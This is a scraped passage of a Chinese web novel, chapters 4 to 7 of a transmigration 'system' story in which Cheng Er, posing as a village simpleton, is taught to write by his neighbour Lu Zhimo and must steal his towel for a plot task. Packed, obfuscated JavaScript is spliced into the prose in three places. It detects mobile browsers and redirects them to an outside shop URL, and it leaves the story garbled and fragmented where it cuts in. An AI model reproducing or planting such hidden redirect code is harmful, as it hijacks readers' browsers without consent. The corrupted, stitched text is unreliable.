这一次傻子直接向后侧滑一步，连手臂都没摊开过，灵敏得像山里的动物。 只是这一次，小胖子实在用了太大的力气，程尔躲开之后，他失去了平衡，直接一头栽进了旁边的田里，“噗通”一声，在场的小孩子们都愣住了。 程尔也吓了一跳，他终究还是没有直接动手打这些小孩子，毕竟他这个身体十八岁，这些孩子还在没上学的年纪，实在胜之不武。 师兄总跟他念叨学武先学德，也不许他把武功用在这种地方。 程尔凑到田埂旁边蹲下来，伸手捞住小胖子：“没事吧？” 小胖子被他从泥地里揪起来，恨恨地看了他一眼，竟直接挥手把他的手打掉了，而后“哇”的一声哭了出来。 没良心的臭小鬼…… 这动静很快把田里干活的大人们吸引过来，都来看小胖子发生什么事了。 程尔收起沾满泥巴的手，默默走到另一边。 这死小胖，手都被他打红了。 程尔深吸了口气，正想找个地方洗洗手，手腕却被一只骨节分明略带凉意的大手握住。 那只手手心一片通红，像是刚干过重活还没恢复好。 程尔正盯着失神，陆执墨已经走到了他身边。 他用拇指指腹轻轻拂过程尔手背上被小胖子打红的那一小片皮肤，眉头几不可察地蹙了一下。 “小尔，发生什么事了？没受伤吧？”他的声音清润又温柔。 4. 世界一：偷窥隔壁男知青的阴郁小傻子（4） 程尔的情绪突然被这平静的声音安抚了下来，他看向陆执墨轻轻摇头。 “怎么回事啊？尔娃，你咋和小胖打起来了？”旁边的大人开始问话。 程尔闭口不言。 陆执墨的目光扫过哭闹的小胖子，又落回到程尔沉默倔强的侧脸上。 他开口道：“小尔不是爱打架的人，你们应该都知道吧？” 旁边的大人们也似乎想起来了程尔平时的表现，有一个似乎是小胖子的亲戚，他领着小胖子洗掉身上的泥巴，点头道：“小孩子一起玩，打打闹闹的多正常，没多大事。” 程尔的脑子有问题，村里人都当他是小孩子，也不会觉得他仗着年龄大刻意欺负人。 陆执墨将程尔的手放下来，却依旧握着。 他笑着开口道：“你等会可以跟小胖问清楚是怎么回事，看看下次能不能避免起冲突。” “哎……”那人也没多想，拖着一直哭的小胖子离开了。 旁边的小孩子们也追着他们的老大去了，大人们又回到了田里。 陆执墨看向程尔，说：“小尔，走，我带你去洗洗。” “嗯。”程尔点头，算是回应他的好意。 他心里还有些忐忑，陆执墨好像是个聪明人，刚才他话里话外的意思，像是早就把一切都看在了眼里。 程尔担心的是，陆执墨不会从他执行任务偷看的时候就发现他了吧？ 那得多社死啊…… 他悄悄摸摸在心里跟系统确认，系统给了他肯定的回答。 程尔仍不放心，追问道：“系统，你是怎么确认的啊？” 系统：“观察陆执墨的反应啊，他没反应不就是没发现吗？” “啊？”程尔有些懵，“我还以为你能直接监控任务对象的想法呢……不是小说里都有什么好感度的吗？那是怎么监控的？” 系统也很无奈：“宿主，首先，任务对象也是有隐私权的，我们可是有工作守则的，不能瞎看。其次，宿主你又不是要攻略陆执墨，要好感度干嘛？你是来做扮演炮灰任务的。” 程尔叹了口气：“我也没说要攻略啊，我是想问你这样监督靠不靠谱。” 系统：“包的，我总比你靠谱吧宿主，你还老走神发呆呢……” 程尔一想也是：“行吧……只能相信你。” 系统不忿：“宿主，我什么时候不靠谱过了，你怎么这样怀疑我？” “没有没有，”程尔赶紧安抚，“是我疑心病太重，你是个好统。” “这还差不多。”系统又变换成光球在空中转了个圈。 系统不说话了，事实也证明，它是靠谱的，陆执墨一路上并没有说起别的事，只是在确认他有没有受伤。 两人回到陆执墨家里，陆执墨打了盆水过来给程尔洗手，还拿出香皂给他仔细清洗了一番，连指甲缝都没有放过。 程尔的注意力却放在了香皂上，他这几天已经发现了，村里的人应该是用不起香皂的，爷爷给他洗头还是用的皂角。 陆执墨却没有对他解释的意思，可能也因为他是个傻子，不会好奇多问，自然也不用解释。 打来一盆清水给程尔洗干净手之后，陆执墨又拉着程尔进了他的房间，从抽屉里掏出一盒凡士林，给程尔两只手都擦了下。 程尔很想拒绝，他很少跟人这么近距离接触。 可原著的程尔是个十足的傻子，连被打都大部分时候没什么反应，更何况是被人好好对待。 再者说，他扮演的小傻子可是对陆执墨一见钟情痴迷中呢，根本不可能推开陆执墨，只会傻乎乎盯着他看。 程尔叹了一声，目光从陆执墨眼皮上那颗小痣移开，他看向地面，忍受着手上奇怪的触感。 还好不是系统的强制任务，他随便怎样系统也没说他。 “好了，小尔，”陆执墨将他的手放好，让他坐在了书桌前，“还好手背没受伤，身上呢？有被石子打到吗？” 程尔抬起头看他一眼，陆执墨果然早就知道经过了。 他摇摇头：“没有。” 陆执墨停了一瞬，直接开口问道：“小尔可以告诉我，你们为什么起冲突了吗？” 程尔恪守着自己的人设，没有开口解释。 他其实也不知道该怎么解释才好。 毕竟说出来小胖子他们莫名其妙追着自己，他都嫌掉价。 这可不是小孩子之间的冲突，他这是被碰瓷了好吧？ 陆执墨静静看着他，也没有再继续追问。 半晌他坐在程尔旁边，将抽屉里的一盒铁罐拿了出来，放在程尔面前，说：“小尔如果想继续跟他们一起玩的话，可以跟他们一起吃。” 程尔愣了一下，这盒子里面都是糖吗？就这样全给他了？ 他这是在教自己怎么跟小孩子们玩吗？ 其实程尔一点都不想跟他们一起玩。 见程尔不说话，陆执墨直接将他的手拿起来，把盒子塞到了他的手里。他笑了一下，又说：“小尔如果不想给他们吃的话，你自己一个人吃也可以。” 程尔摇摇头，将糖放下。 爷爷说糖是很珍贵的东西，程尔既然已经知道在这个年代这个东西是奢侈品，自然不敢这样收下。 他将糖果又推回去，起身站了起来。 本来他是想就这样道个谢然后离开的。 奈何系统偷偷警告他，这个时候程尔主动离开太ooc了，他只好又停在了原地。 陆执墨跟着站了起来，他凑近了一些，声音轻柔，似乎是害怕程尔一直不开口，几乎是一个怕惊走蝴蝶的声量，他说：“小尔，怎么不要？” 程尔实在不好意思继续装傻，开口道：“小陆哥，自己吃。” 陆执墨怔了一瞬，笑着摸了摸程尔的头：“哥这里还有，你拿着吃。” “哦 。”程尔贯彻着傻子的人设，实在没办法说出更有说服力的理由拒绝了，那只能接受了。 说实话，程尔这一次倒是终于感受到傻子的不好之处，他好像一下子回到了小时候，没有自己决定事情的能力，只能接受大人的安排。 程尔突然感到一阵无力。 他能不能不当傻子了呢？ 慢慢变得不那么傻应该也还好吧？毕竟自闭症又不是真的傻。 程尔盘算着，手里却又多了一个铁盒的重量，触感温凉，他低头看了一眼，简单的设计还挺好看，原来还是外国货。 陆执墨家里应该条件还不错吧？程尔没有看得太仔细，毕竟后面回城了又没有他的戏份了，他那时候早就下线了，也不用关心这个情节了。 程尔捧着铁盒摸了几下，这才抬头看向陆执墨，再次开口：“谢谢小陆哥。” “你要回去了吗？”陆执墨似乎看出了他的离去之意，竟这样直接了当的笑着问出来。 程尔看着他眨了下眼睛，陆执墨跟他同步眨了下眼睛，眼皮中的黑痣若隐若现。 是因为他现在是傻子的缘故，陆执墨对他说话才这么随意的吗？ 还是，陆执墨本身就是个直接的人呢？ 程尔发现，他没办法通过剧情介绍的那几句话就简单确认一个人到底是什么样的人。 换到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是，家里真的没什么可玩的东西，实在无聊，程尔只能重操旧业，像之前的程尔一样蹲在门口玩。 他不想玩石子，便像小时候一样拿了根棍子在泥地上画画玩。 毕竟他现在的人设不识字，也只能画画了。 还好他的画画水平十分抽象，也不用特意掩饰。 他玩了一会儿，倒是找到了小时候的乐趣，自己一个人玩的还挺开心。 当然，今天没有任务，系统也在脑子里跟他陪聊，倒是没有那么无聊。 一人一统正聊着下一个画什么好的时候，系统话说到一半又停了下来。 程尔正要问怎么了，系统便出声道：“宿主，陆执墨过来了。” “嗯？”程尔忍住了回头的冲动，“在我后面？” “对，应该是来找你的。”系统道。 系统说的没错，很快，程尔便感觉旁边有一个人陪他蹲了下来。 陆执墨抱着膝盖，看着程尔问道：“小尔一个人玩吗？” “嗯。”程尔点头，手上依旧拿着那根树枝。 陆执墨凑过去看了一眼程尔画的东西，又挪回来，笑道：“小尔在画什么呢？” 程尔偏头看了他一眼，不知道该如何回答。 毕竟他是随便画的。 好在傻子有不说话的权利。 陆执墨没有在意，他已经习惯程尔不会句句回应。 午后的凉风吹过来，吹起他们的刘海，寂静中，陆执墨接过程尔手上的树枝，慢慢在地上写下两个字。 是程尔的名字。 他用树枝指着字，看向程尔道：“小尔，这是你的名字，这是程，这是尔。” “程，尔。”程尔乖乖跟着他念。 陆执墨笑了起来，他扔掉手里的树枝，指腹残留着用力持握留下的红印，他不甚在意地搓了下手指，看向程尔道：“小尔要不要跟哥学写字？” 5. 世界一：偷窥隔壁男知青的阴郁小傻子（5） 程尔偏过头去，一瞬间有些不敢看他。 为什么这么突然？ 这剧情不对了吧？ 程尔记得原著里他们的交集没有那么多的…… “系统，这剧情都变了我还怎么扮演？陆执墨是怎么回事啊？”程尔在内心呼唤系统。 系统倒是不慌不忙：“没事宿主，毕竟宿主本身就是个变化因子，而且有些人做事随机性本来就大，你放心，只要你大致任务完成就算扮演成功了，我们及格就行。” “行，你们倒还挺人性化的。”程尔松了口气。 系统应声：“那是，都说了我是好统。宿主，你别跟我说话了，陆执墨还在等你回答呢……” 程尔这才抬眼看向陆执墨，对面的陆执墨依旧一副笑意盈盈的表情，对他这个傻子倒是有着无限的耐心。 他真是个好人，也对，好歹是原著的主角，主角一般还是好人多。 程尔想到这里，也轻松了一些，轻轻点头：“好。” 他一开始倒是不想答应，毕竟他还是有点社恐，跟别人老呆在一起他难受。 不过，陆执墨好歹也不算陌生人了，而且，之后做任务也总是要接触他，混熟一点说不定被抓到的时候陆执墨能帮他说说话，这样，爷爷应该也不用伤心了。 也挺好。 再者，他学会写字了还可以找陆执墨借点书看，这里实在无聊，天天画画也扛不住。 陆执墨伸手拍了下他的头，笑道：“那就说好了，以后小尔吃完晚饭之后就过来找哥，中午午休也可以。” “嗯，谢谢哥。”程尔真诚道谢，毕竟别人愿意花时间精力教他，也不管是不是不像傻子了。 陆执墨笑着将他拉起来，声音清朗：“那我等小尔过来。” “好的，哥。”程尔乖乖点头。 两人说定之后，程尔晚上吃饭的时候就跟爷爷说起了这件事。 爷爷倒不意外的样子，还告诉程尔，他之前就拜托过陆执墨教他认字了。 原来陆执墨不是突发奇想，程尔也算是理解了。可能爷爷对陆执墨实在太热情，陆执墨拒绝不了吧…… 反正结局是傍晚程尔又提着一筐子菜来找陆执墨了。 他到的时候，陆执墨房间的窗户全都被打开，书桌被夕阳浸透，而陆执墨正坐在书桌前泡茶，水汽氤氲了他的眉眼，竟有些看不真切。 程尔又走近了一些。 陆执墨这才放下杯子，茶水在夕阳中翻滚，衬得陆执墨指尖都红透了。 他用手指在桌上轻点了一下，抬眼看向程尔，笑道：“小尔，来了？” 程尔这才从水汽中看清他的脸，慢慢走上前，将手里的菜篮子递给陆执墨：“嗯，哥，爷爷给你的菜。” “谢谢小尔，替我跟爷爷也说声谢谢。”陆执墨伸手接过他手里的篮子，拿着筐边的指尖还是红的。 程尔这才后知后觉，陆执墨的手应该是被烫红的。他在来这里之前应该不怎么干活，皮肤看起来很敏感…… “嗯。”程尔心不在焉地回答。 陆执墨顺手将菜篮子放到了旁边，招呼他在另一个凳子上坐下。 见程尔一直盯着他的手看，陆执墨笑出了声：“怎么了小尔？你在看什么？” 程尔没好意思直说，便问了另一个问题：“夏天喝热水，哥不热？” 陆执墨愣了一瞬，而后笑开来，指着茶杯说：“小尔，这不是热水，这叫茶。茶呢，还是喝热的好。” “哦。”程尔点头。 陆执墨将杯子端到一边，又从柜子里拿出一个杯子，缓缓倒了一杯茶出来，他看向程尔：“小尔也尝尝？” 茶这种高雅的东西，村里人几乎都没有喝过，陆执墨让他尝尝也正常。 程尔对茶倒是不那么抗拒，他伸出手扶住了杯子，点了点头说：“好。” “等等，”陆执墨却突然有些急切的按住了他的手腕，“小尔等等，现在太烫了，还不能喝。” “噢。”程尔乖巧点头，虽然他对对方把自己完完全全当成一个不知冷热的傻子十分无奈，但别人毕竟是好心，他也不能直接表现出来不满。 不行，他不能这样下去，就算做傻子也不要做那样刻板印象中的傻子吧？ 总有一天会忍不住的，毕竟他本来就是个正常人，他可以做聪明一点的傻子。 程尔下定决心要在之后的学习过程中表现得聪明一点。 陆执墨收回了手，将程尔旁边的那杯茶也端到了桌子边上。 他翻开了一个本子，递给程尔一支铅笔，一边笑着说：“这个本子和笔送给小尔了，小尔先练习着用。” “谢谢哥。”程尔真诚道谢，将已经削好的铅笔拿在手里转了一圈，不得不说陆执墨真的是个细致的人。 陆执墨看向他，手里拿了另一支笔出来，说：“小尔，看，握笔的姿势是这样，你跟着我学。” 程尔依言看去，装作不会的样子，小心翼翼地将手势摆成和陆执墨一样的样子。 他不敢太过明显，于是将笔夹在了食指和拇指之间，犯了一个常见错误。 陆执墨果不其然发现了他的错误之处，笑了一下说：“小尔，要放在食指和中指之间。” 程尔伸出手，左手将铅笔拿出来，却迟迟没有放下。对于傻子来说，分不清楚食指中指这些名词才是正常的，程尔一时之间没有翻到原主相关的记忆，有些不敢动了。 “这样。”陆执墨伸手按住他的手指，“小尔，这是食指……” 他笑了一下，又拿起铅笔点了一下另一根手指，“这个，是中指……之后再教你别的，你先握住笔，这样。” “嗯……”程尔没有再装傻，毕竟别人都掰着手指头教了，他顺从地握住了铅笔，还在纸上划拉出一道横线。 陆执墨松开了手，见他依旧握得很好，伸手拍了拍他的头：“真厉害，小尔，就是这样。这样横着写一道就是‘一’了，小尔真聪明。” 他的语气实在温柔过头，像是在跟小朋友说话，让人怀疑他家里也有很小的弟弟妹妹。 可程尔知道陆执墨的基本信息，陆执墨应该是独生子。 真的有些神奇，在原著里跟原著攻的相处，两个人更多是势均力敌的合作姿态，陆执墨好像也不是温柔的人设…… 难道是因为真把他这个傻子当小孩子了吗？ 也是，有的人对小孩子和小动物的确会比对大人态度好。 程尔消化了自己的小朋友身份，无视了陆执墨溺死人的温柔语气，开始在他的注视下接着写“一”。 在他写了一整行之后，陆执墨开口道：“小尔，在那一横下面再画一道就是‘二’了，你试试……” “好。”程尔点头，试着换行写“二”。 他没敢太明显，只是画着一样长的笔画，果不其然，陆执墨又开口：“上面的要画短一点。” “嗯。”程尔听话改变笔触，很快学完了一二三。 陆执墨开始用另一张纸给他演示四到十怎么写，还顺便教了他阿拉伯数字。 程尔表现得接受良好，两人的教学进行得十分顺利，陆执墨都快把他头发摸油了。 “小尔很聪明，很厉害。”陆执墨笑得真心实意。 他说完这句话才发现喉咙有些干涩，于是赶紧把旁边放凉了一些的茶端了过来，递给程尔：“来，小尔，喝杯茶休息会儿。” “好。”程尔双手接过杯子，见陆执墨正在小心品茶，也学着他的样子吹了吹茶叶。 一口入喉，不知道是不是他不常喝茶的缘故，他只感觉有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265345|198094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦。 不过还在能忍受的范围内，他也确实有点渴了，干脆仰头全喝光了。 陆执墨看着他笑着摇摇头，似乎不太赞同他这样喝茶，但他最后也没有说什么，只是接过他手里的杯子又倒满了一杯。 程尔照旧接过来，这次水有些烫，他开始捧着慢慢喝。 “慢点喝，小尔，有些烫。”陆执墨叮嘱了一声，又拿起了桌前的钢笔。 程尔一边点头一边凑过去看他在干什么，因为陆执墨从底下抽了一张空白的纸上来。 陆执墨偏头看了他一眼，也没有说什么，开始在纸上认真地用钢笔写下端正的正楷字，内容是一首诗： 一去二三里，烟村四五家。 亭台六七座，八九十枝花。 该说不说，看到陆执墨的字，程尔突然有了一种这个人是这个年代的人的实感。 因为现代社会已经很少能看到写字这么好看的人了，特别是他还用的是钢笔，更加增添了一丝古朴的气息。 按年龄来算的话，他俩好像真的有些差辈了…… 程尔想到这里，竟然有些想笑。 还好这个时候陆执墨已经收起了笔跟他说话：“今天学完这首诗就结束吧，小尔能记住这么多已经很不错了。” “好的。”程尔面上没有显露出任何想笑的表情，只默默点头。 太阳渐渐落山，在夕阳的余韵中，程尔开始认真的跟陆执墨学习这首他小学课本上学过的古诗，直到太阳完全落入山底。 陆执墨将程尔送出了门，看来这是他的习惯，会送客到门口，他的家教应该很好。 程尔沉默地跟他说了再见，而后回家给爷爷看了他写的字，爷爷捧着本子在昏暗的窗口止不住地颤抖：“好，好，我家尔也会写字了……” 看得出来，爷爷也并不认识字，他只是看着那些字符发自内心地开心。 程尔不知道该如何表示，只能在爷爷说让他好好跟小陆哥学的时候认真点头。 他也确实认真了，自这天之后，几乎每天傍晚都去陆执墨那里上课。 有时候带着爷爷给的菜，有时候没有，因为陆执墨说他一个人吃不了那么多。 他们的教学进度在程尔刻意的表现聪明之后，简直进展神速，数字学完之后，陆执墨又开始给他讲三字经。 该说不说，陆执墨的教学方式很科学，简直像培训过一样，他不止会讲解原句，还会把每个字拆出来组一些常用词给程尔背，这样的情况下，常用的词语程尔很多都已经学会了。 还额外背会了几首简单的古诗，陆执墨很喜欢诗词，所以教了程尔古诗和《声律启蒙》。 “云对雨，雪对风，晚照对晴空。来鸿对去燕，宿鸟对鸣虫。”程尔闭着眼睛背完昨天学习的内容，而后睁开眼睛。 陆执墨满意地点头，笑道：“嗯，小尔记的很好，我们来学下一句。” “好。”程尔点头，捧着杯子等待着陆执墨写下新的教学内容。 陆执墨给他写字的时候基本用的正楷，大概是怕他新学被带歪，所以写的格外工整。 程尔倒是看过陆执墨记笔记的速度，他写行书要快得多。 “宿主。” 程尔正看着陆执墨写字发呆呢，脑海里突然响起了系统的声音。 “什么事？”这几天系统的存在感弱了不少，程尔都快适应了。 “宿主，有新的任务生成了哦，你自己看下吧，我就不念了。”系统转个圈又消失了。 程尔叹了口气，任务……他都快忘了他是有强制扮演任务的人了。 不过今天系统怎么那么奇怪，还不念任务了，什么意思？ 程尔盯着光幕查看任务内容，而后咬住了唇肉：“系统，你这也太变态了吧！你给我出来！” 6. 世界一：偷窥隔壁男知青的阴郁小傻子（6） 系统小心翼翼地冒出来：“这个……宿主，任务也不是我生成的呀，我也没办法的……这不是有原剧情在嘛……” 程尔听系统委屈的样子，也不好意思说它了，毕竟剧情确实不是系统写的，怪它有些迁怒的意味：“行，我知道了……” 系统：“那宿主你自己加油哦！” 说完它便迫不及待地消失了，说起来，变成圆球应该是系统的个人爱好，反正它也不长嘴，没有实体化的必要。 程尔在心中叹气，而后将视线停留在最新的任务上： 【剧情任务三：程尔见陆执墨干活时总拿着一条毛巾，便也想用一下试试，于是，他趁陆执墨不注意，把陆执墨放在杯子旁的毛巾拿走了。（任务完成最低要求：需要拿走陆执墨的毛巾）】 也就是说，他可以不完全按照剧情来，但是，也得拿走陆执墨的一条毛巾。 程尔抬头望天，好想就这样消失掉算了…… “小尔，你在看什么？”陆执墨收起了笔，跟程尔一起抬头看着房梁。 程尔回过神来，支支吾吾开口：“虫，虫子……” “那个呀，”陆执墨顺着他的视线看去，笑了一下，“那个叫蜘蛛。” “蜘，蛛。”程尔已经习惯跟着他念。 “嗯，蜘蛛会结网来捕捉食物，可以帮忙捕捉害虫，是一种对人类有用的动物，所以我把它留下来了，没有清理。”陆执墨继续介绍。 程尔点头，思绪倒是一下子被陆执墨带偏，没有那么生气了。 不过，陆执墨看起来真的懂很多，还不止是对传统文学了解，似乎也读过科普读物。 他现在才二十岁，这个时候还没有上过大学，应该是他自己看的书。 真是个好学的人，可惜…… “这两个字很复杂，我们以后再学，来，我们继续学《声律启蒙》。”陆执墨摸了摸他的头。 “嗯。”程尔点头，跟着凑了过去。 只是，注意力回来之后，程尔又不免开始思考那个让人头疼的任务，心中十分无语，连一向平静的脸上都掩盖不住，眉头轻皱。 他无意识地盘着手腕上的银镯，已经完全走神，没有注意到陆执墨在讲什么。 也是因为《声律启蒙》前面有名的部分他早就学过了，更是提不起兴趣。 直到陆执墨用钢笔笔端用力敲了两下桌子，程尔才轻轻眨了下眼睛，看清了陆执墨的动作。 陆执墨收起了笑容，轻声开口：“小尔，我刚刚教的那句是什么？” 他对程尔一向耐心温和，突然严肃起来还有些吓人。 程尔有些慌了，学生时代被老师提问的肌肉记忆都回来了，他脱口而出：“三尺剑，六钧弓，岭北对江东。人间清暑殿，天上广寒宫。” 话一出口，两个人都愣住了。 陆执墨伸手端过茶杯喝了一口，半晌才说：“小尔记东西很快。” 坏了，坏了，陆执墨不会开始怀疑他在装傻了吧？ 程尔捏着银镯更加用力了些，有些不知道该怎么回答了。 这个时候，该回归傻子本质了，程尔不说话，只是呆呆地盯着陆执墨看，仿佛没听见陆执墨说的话一样。 不得不说，当了这么些天的傻子，程尔装傻子已经有一手了。 陆执墨放下了茶杯，嘴角擒着浅笑，伸手摸了下程尔的头，开口道：“那小尔记住怎么写了吗？” 程尔摇头。 陆执墨将本子摊开，开始教他笔顺，仿佛之前什么都没有发生过一样。 也许是因为跟傻子也问不出个所以然来，所以陆执墨才放弃了追问吧…… 反正程尔是松了口气，这下，他不敢再去想他的奇葩任务，反正没规定具体剧情，等他想想怎么找机会吧…… 唉…… 程尔结束了今天的教学，在陆执墨站起来要送他回去的时候，趁着机会环顾四周，将陆执墨房间的陈设仔细查看了一番。 可惜，陆执墨是很爱干净的人，他的衣服都叠好放进箱子里了，毛巾自然也不在外面。 出门的时候，程尔又悄悄看了眼院子里的竹子晾衣架，挂的太高了，还对着窗户，他来拿实在是显眼。 更何况，陆执墨不在的时候，他根本就进不了院子。 难怪原著的小傻子会选择在陆执墨干活的时候偷毛巾，其实也是因为其他时候没有机会吧…… 看来只能延续傻子的方案了…… 真是没办法。 程尔躺在床上思考了一晚上，还是没想到更好的方法，只能暂时按照原剧情走了。 毕竟他的剧情任务一般都是限时的，这个今天不做他就得挨雷劈了，实在没有时间给他慢慢思考对策。 程尔十分无奈，但没有办法，还是偷偷摸摸地在陆执墨出门上工的时候跟在了他后面。 太阳一出来就开始热了起来，哪怕还是早上，眼睛都有些睁不开。 程尔心虚，只敢远远跟着，看着陆执墨手臂上搭着的那条毛巾失神。 他扒拉了几下手镯，在心里默默问系统：“系统，非得偷拿吗？我跟陆执墨都认识了，我直接要一个他应该都会给我的……” 系统义正言辞：“不行的宿主，你忘记你的人设了吗？小傻子也不懂什么是偷啊，他只想收藏喜欢的人的东西而已，这才是关键的地方。” 程尔情不自禁打了个寒颤，什么喜欢的人，好诡异的感觉…… 他常常因为不够变态而和这个世界格格不入…… “唉……系统啊，平时我不叫你的时候你都在干什么呢？”程尔强行给自己转移注意力。 系统回答：“我很忙的宿主，我会回主系统充电学习。” “啊？”程尔倒是震惊了，“你们人工智能学习不是秒学吗？” “那也得学呢，”系统叹气，“比起知识，理解情感模块才更难，不然我们也不会一直被安排做任务了……嗯，说多了，宿主，这些跟你没关系，你还是想想怎么完成任务吧！” 程尔也没有继续追问，他咬了下唇，叹道：“还能怎么完成，你就祈祷我身手利落不会被发现吧……” 按道理说，小傻子都没被发现，他应该也被发现不了。 可惜，系统跟他说小傻子偷的时候是快下雨的时候，那会儿太乱了，才让他得逞了。 但现在剧情已经改变太多，程尔也没有时间去等那场雨了，只能靠他的聪明才智和一身武艺见机行事了。 虽然自从上了班之后他就不咋练功了，但好歹底子还在，实在不行直接跑路…… 反正他现在是个人尽皆知的傻子，只要不被抓个正行，什么奇葩行为都可以解释…… 程尔给自己做了一番心理建设，这才好受了一些。 他来到上次那棵熟悉的大树后面，看着陆执墨他们下了田开始干活，随意找了个位置坐了下来。 太阳把草地烤得热哄哄的，这会儿温度还不算太高，程尔坐着竟还有些舒服。 可惜，这个地方实在不是他悠闲度日的地方，他盯着陆执墨擦汗的动作，一时想不出什么好办法来接近那条毛巾。 说真的，原著的程尔也没那么傻嘛，这都能偷到…… 难道他这个身手利落的大学生还不如一个傻子？ 不至于吧？ 程尔抬头看天，那场阵雨他应该是等不到了，太阳大得晃眼，看一眼都要晕了…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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也包括了陆执墨，他终于放下了程尔眼中紧盯着的毛巾，和他的茶壶一起放在了一颗大树的阴凉处。 原来如此…… 程尔松了口气，原来大家的习惯是中午不带那些东西回去，也是，中午时间很短，也没有必要拿来拿去。 机会到了！ 程尔躲在树身后面，看着他们结伴洗手离去，等他们走到田埂上时，程尔飞快地从他们身后绕了一圈，到了他们放东西的大树下面。 陆执墨还是个爱干净的，他还找了个袋子把毛巾装起来了。 程尔回头看了一眼，人群应该都走远了，他正要蹲下去伸手拿袋子，却突然听到水声。 “尔娃，你在这干嘛呢？”一个大叔从底下的矮坡里钻出来，紧了紧裤子。 程尔吓了一跳，手飞快地收回来，他不敢看还在系裤子的大叔，一声不吭地顺着大路跑了。 “你这孩子！你跑什么嘛？是不是在这干坏事了啊？”大叔开玩笑地说。 程尔却连脸都红了，太丢人了，他都没心思想任务不任务的了，只想赶紧逃离这个是非之地。 偷东西也是要点心理素质的，不是谁都能做到。 程尔目不斜视地呼呼向前跑，没想到他的速度实在太快，竟没多久就追上了结伴走路的陆执墨他们。 “小尔？你怎么在这里？” 程尔还在犹豫要不要跑过去，那群人却都听到了动静，大伙都默契地停在原地转过了头。 其中，陆执墨甚至转过身来，向着程尔走了两步：“小尔？” “我……”程尔躁得人都出了汗，他紧急刹车，却没注意看路，踩着一颗石子往旁边滚去，整个人结结实实地摔了个大马趴。 “呸……”程尔吐出嘴唇上沾着的灰尘，一瞬间没了呼吸。 他简直想死的心都有了，他这辈子没这么丢人过…… 7. 世界一：偷窥隔壁男知青的阴郁小傻子（7） “小尔！”几个人见他摔倒着急忙慌往他身边赶。 其中，陆执墨的速度极快，他看着是个读书人，没想到竟比干活的庄稼汉还快些，他将程尔扶了起来，擦了下他脸上蹭上的土：“小尔，没事吧？” 程尔不好意思开口，只沉默摇头。 陆执墨把他扶到旁边的草地上坐着，粗粗检查了下他身上有没有受伤。 旁边的人们也开口问道：“尔娃没伤着吧？” 陆执墨代替程尔回道：“应该没事，还能动。” 他拍了拍程尔身上的灰，抬头说：“大家先去吃饭吧，我把小尔送回家去，再仔细看看。” “那行，我们先走了？” “小陆你辛苦了，我碰到他爷跟他说声。” 陆执墨轻轻摇头：“不辛苦，我是邻居嘛，顺路的，你们去吧！” “好……” 一群人走后，陆执墨凑近了一些，看了看程尔的表情，笑道：“好了，小尔，现在没人了，你告诉哥有没有哪里痛？” 程尔一直低着头，奈何陆执墨完全把他当小孩了，竟然低下身体凑过来看他的表情。 真是躲都没法躲，实在太近了，程尔都看到陆执墨眼皮上的那颗小痣了。 他吸了口气，指着膝盖轻声开口：“这疼。” 陆执墨点点头，将他的裤腿一圈圈折起来，一直折到膝盖上方，终于看清了膝盖的全貌。 确实摔得很惨，因为程尔当时碰到人太震惊，忘记看路了。 所以，他几乎是结结实实地摔在了地上，两个膝盖都被沙子磕破了，渗出丝丝血丝，右边的膝盖更惨一些，血都流了下来。 陆执墨轻轻蹙眉，叹了一声问道：“小尔怎么会在这里？是来找我的吗？为什么要跑这么快？” 程尔整个人一僵，根本不敢回答。 但又怕陆执墨真猜到什么，于是看着陆执墨轻轻摇头，回应他不是来找他的。 陆执墨无奈一笑，没有多说什么，道：“小尔在这里等我一会儿，我去拿东西。” 程尔看着陆执墨有些懵，他本来想偷偷溜走的。 可现在陆执墨执著地盯着他，仿佛一定要等到他的回答似的。 两个人视线焦灼对峙，天都感觉变热了，温度在上升。 程尔眨了下眼睛，他顿了一下，因为看到陆执墨眉间正划过一滴汗，一瞬间他又觉得，这人实在是个好人。 他也不好意思再偷溜走了，只好看着陆执墨点头：“好的，哥。” “嗯，不要乱动，乖乖待着。”陆执墨站起身，最后叮嘱道。 “哦。”程尔点头。 一阵风吹过来，程尔的脑子也清醒了一点，想起了他的任务，他叹了口气，问系统：“系统，我那不算被发现吧？” 系统回他：“不算，不算，你放心。不过宿主，你没事吧？” “还行吧，这点小伤算什么？我以前练功还摔断过腿呢！”程尔没当回事，只是被陆执墨要求留在这里，他也不好意思自己跑了。 “好吧，我相信你是直男了。”系统说。 程尔眼皮一抬：“你啥意思呀？我哪里不像？” 系统无奈回答：“我可没这么说，宿主。” 程尔没继续这个话题，突然想到什么，说：“系统，你这就没有什么秒治伤的神药吗？我看小说里都有。” 系统肯定回答：“当然有，不过宿主不能用，跟你扮演的人设不符哦！” “你真没用啊统子，怎么别人的统子都那么厉害呢！你这样我怎么走上人生巅峰啊？”程尔撑着下巴看着路尽头，陆执墨的身影已经完全消失。 系统无奈地看着面前的宿主，这位宿主明明脸上是一脸冷漠的表情，看着就是个正经人。而且，这会儿他盯着虚空发呆的神情，甚至有种厌世感，可谁能想到，他在脑海里跟它的对话竟是如此中二…… “宿主，你忘了，”系统再次强调，“你的任务是扮演炮灰，不是走上人生巅峰。” “那我的奖励就只有复活啊？唉，是我想太多了。”程尔十分遗憾。 系统吐槽：“复活很消耗能量的，宿主。已经是很好的机会了。” “我知道，我知道。”程尔看了眼自己被擦伤的手掌，“生命很珍贵。” 一人一统闲聊的时候，路那边远远走过来一个人，程尔目不斜视，是刚才那个大叔，都怪他吓着自己了，不然他也不会一直想跑路。 大叔似乎跟陆执墨碰过面了，知道他的情况，还特意问了一句：“尔娃，没事吧？” 